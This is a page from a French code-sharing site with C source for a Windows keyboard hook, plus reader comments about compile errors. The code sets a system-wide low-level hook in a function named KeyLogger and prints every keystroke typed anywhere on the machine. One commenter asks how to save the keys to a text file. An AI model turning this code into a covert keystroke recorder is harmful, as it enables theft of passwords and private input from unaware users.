Soyez le premier à donner votre avis sur cette source.
Vue 40 077 fois - Téléchargée 4 358 fois
#include <windows.h> #include <stdio.h> #include <stdlib.h> // Global instance du hook HHOOK hKeyHook; // Gestion du hook __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) { // Action du clavier et les touches tappées if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) { // conversion du code -> ascii BYTE KeyState[256]; WORD wBuf; char ch; // Structure pour récupération des informations KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam); /* Traitement récupération dec codes des touches */ // Etat du clavier GetKeyboardState(KeyState); // Conversion code > ascii ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0); //on rajoute les touches non traitées par le hook switch(hooked.vkCode){ case 9 :{printf("<TAB>");break;} case 13 :{printf("<ENTER>");break;} case VK_BACK :{printf("<delete>");break;} case VK_DELETE: {printf("<Suppr>");break;} /* vous pouvez rajouter vos traitements perso ici ! */ default : { // on affiche les touches tappées ch=((char)wBuf); printf("%c",ch); break; } } } // Renvoi des messages au sytème return CallNextHookEx(hKeyHook, nCode,wParam,lParam); } // Boucle des messages void MsgLoop() { MSG message; while (GetMessage(&message,NULL,0,0)) { TranslateMessage( &message ); DispatchMessage( &message ); } } DWORD WINAPI KeyLogger(LPVOID lpParameter) { // Récuperation de l'instance de notre executable HINSTANCE hExe = GetModuleHandle(NULL); if (!hExe) return 1; // on demarre le hook hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL); if(hKeyHook==NULL) printf("[le hook clavier a plante !]\n"); else printf("[hook clavier en cours ...]\n"); // Boucle des messages MsgLoop(); // on desactive le hook if(UnhookWindowsHookEx(hKeyHook)==0) printf("[desactivation du Hook echoue !]"); else printf("[la desactivation du hook c'est passee correctement]"); return 0; } int main(int argc, char *argv[]) { // initialisation des options pour la fonction CreateThread HANDLE hThread; DWORD dwThread; DWORD exThread; printf("\n[Exemple de Hook Clavier] by tOnyh2\n"); // on crée le thread qui va démarrer le hook hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread); if (hThread) { // Attente à l'infini return WaitForSingleObject(hThread,INFINITE); } else { return 0; } }
17 juin 2010 à 16:22
3 déc. 2009 à 22:51
18 mars 2009 à 12:06
No constructor could take the source type, or constructor overload resolution was ambiguous"
Je précise que je travaille sur Visual C++ 6.
Merci.
18 mai 2008 à 11:10
J'ai une question cependant, quelqu'un aurait-il une idée de comment sauvegarder le contenu entré dans un fichier .txt ?
Merci infiniment
18 mai 2008 à 11:01
75 C:\Dev-Cpp\hookclavier.c [Warning] passing arg 4 of `SetWindowsHookExA' makes integer from pointer without a cast
103 C:\Dev-Cpp\hookclavier.c [Warning] passing arg 2 of `CreateThread' makes integer from pointer without a cast
103 C:\Dev-Cpp\hookclavier.c [Warning] passing arg 5 of `CreateThread' makes integer from pointer without a cast
Quelqu'un peut m'éclairer ?
Merci
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.